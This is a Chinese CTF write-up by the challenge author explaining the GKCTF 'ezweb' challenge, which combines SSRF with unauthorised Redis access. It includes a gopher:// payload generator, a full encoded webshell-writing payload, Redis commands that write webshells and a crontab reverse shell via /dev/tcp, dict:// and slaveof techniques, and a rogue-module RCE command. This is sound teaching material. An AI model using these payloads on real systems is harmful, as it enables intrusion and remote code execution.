GKCTF-ezweb
我把docker打包到github上了
https://github.com/w4aaaander/CTF
感覺出的簡單了...
考點:
- 內網探測
- ssrf+redis未授權
源碼中注釋了?secret
訪問可以得到當前靶機的ip
看到有不少師傅去開buu上的內網機做,這里實際上是一個 web服務器 和一個redis 服務器組成的一個內網,是獨立於單容器的內網,並且自動組網(來自趙總的解釋),所以直接開內網機並不能訪問到靶機,直接用ssrf會快得多(當時出題沒考慮到結合buu的這個特殊性,在這里給各位師傅們謝罪...逃)
並且這里過濾的其實不嚴格,我多此一舉的在file:后面加上了//,導致用file:/也可以讀文件,這也是我的疏忽
繼續,通過內網探測可以發現.11上開着web服務
根據提示進一步發現.11開着6379端口
然后可以利用gopher://協議寫shell,可以用如下腳本生成exp
import urllib
protocol="gopher://"
ip="173.51.38.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
gopher://173.51.38.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
打過去再次訪問.11/shell.php即可
第一次出題感覺確實拉跨了,原來想着考主從的,但是考慮到buu內網不是那么方便就直接開了web服務讓師傅們寫shell了,並且可能我沒說清楚這題的特殊性導致很多師傅走了彎路,si ni ma sei
下面做了點小總結
redis未授權訪問
一般來說如果redis暴露在公網並且沒設置密鑰保護就可能造成redis未授權訪問
常見的方式有直接
寫shell
> flushall
> config set dir /var/www/html
> config set dbfilename shell.php
> set webshell "<?php phpinfo();?>"
> save
或者寫定時任務:
> flushall
> set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n'
> config set dir /var/spool/crontab/root
> config set dbfilename root
> save
但是上面的方式是直接進當前靶機操作的,如果比如想從kali上redis一個ubuntu,可以用
redis-cli -h ip
但是redis.conf如果中設置了bind ip ,那么這種方法就行不通了
ssrf+redis
例如我能通過某種手段對靶機進行ssrf,那么就可以用Gopher://協議或dict://協議對redis進行操作
gopher://
先來看gopher吧,因為數據比較特殊,可以在本地通過socat進行監聽數據
下面的意思是訪問2221端口實際上訪問6379端口,相當於一個流量轉發吧
root@ubuntu:~# socat -v tcp-listen:2221,fork tcp-connect:localhost:6379
redis寫shell時加上- p 2221即可抓到真實數據流
> 2020/05/14 05:34:08.033689 length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2020/05/14 05:34:08.036252 length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.038985 length=54 from=0 to=53
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$13\r
/var/www/html\r
< 2020/05/14 05:34:08.042783 length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.044651 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
< 2020/05/14 05:34:08.048444 length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.050381 length=53 from=0 to=52
*3\r
$3\r
set\r
$1\r
1\r
$26\r
<?php system($_POST[0]);?>\r
< 2020/05/14 05:34:08.052386 length=5 from=0 to=4
+OK\r
> 2020/05/14 05:34:08.054277 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2020/05/14 05:34:08.056068 length=5 from=0 to=4
+OK\r
redis中
在RESP中,某些數據的類型取決於第一個字節:
對於Simple Strings,回復的第一個字節是+
對於error,回復的第一個字節是-
對於Integer,回復的第一個字節是:
對於Bulk Strings,回復的第一個字節是$
對於array,回復的第一個字節是*
此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來表示Null值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)結束。
那么我們就需要將以上數據轉換成對應的格式,腳本如下
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
line = line.replace(r"\r", "%0d%0a")
line = line.replace("\n", '')
s = s + line
print s.replace("$", "%24")
或者先知上有直接生成的腳本(這個比較推薦):https://xz.aliyun.com/t/5665#toc-3
我貼在上面的ezweb里了,就不復制了
這樣跑一下就能生成gopher協議的exp了
dict://
dict這個協議同樣跟gopher性質類似,操作起來更簡單一些
使用方法如下:
dict://172.24.0.3:6379/config:set:/var/www/html
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:"<?php phpinfo();?>"
dict://172.24.0.3:6379/save
如果有回顯會返回ok,如下:
但是這時候去看一下redis靶機的shell會發現沒有寫入,或者干脆是亂碼的形式
這時候就需要使用主從復制slaveof了,前提是兩台服務器互通
首先在靶機上設置主從服務器
dict://172.24.0.3:6379/slaveof:ip:6379
這個時候靶機就從屬與我們的主服務器了,並且會復制主服務器的信息
可以用info查看以下主從服務器信息:
>info
可以看到slaveof成功連接,接下來先設置shell:
然后此時進入靶機容器,get webshell
發現成功復制shell
然后需要斷開主從
dict://127.0.0.1:6379/slaveof:no:one
接下來就跟上面的一樣
dict://172.24.0.3:6379/config:set:dbfilename:shell.php
dict://172.24.0.3:6379/set:webshell:<?php phpinfo();?>
dict://172.24.0.3:6379/save
此時完美寫入
redis加載so文件
除了上述兩種寫shell外,slaveof還能加載so文件getshell
貌似需要redis版本>5
網鼎杯玄武組的一道ssrf也是用了這個思路:
這里我用kali作為攻擊192.168.190.169,ubuntu作為靶機192.168.190.153
首先ubuntu主從上kali
kali下info查看主從
確保連接成功后就可以用exp打了,用第一個的腳本,第二個的so
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
python redis-rce.py -r 攻擊ip -L 靶機ip -f exp.so
Reference:
https://xz.aliyun.com/t/5665#toc-3
https://www.t00ls.net/articles-56339.html
https://www.cnblogs.com/paperpen/p/11178751.html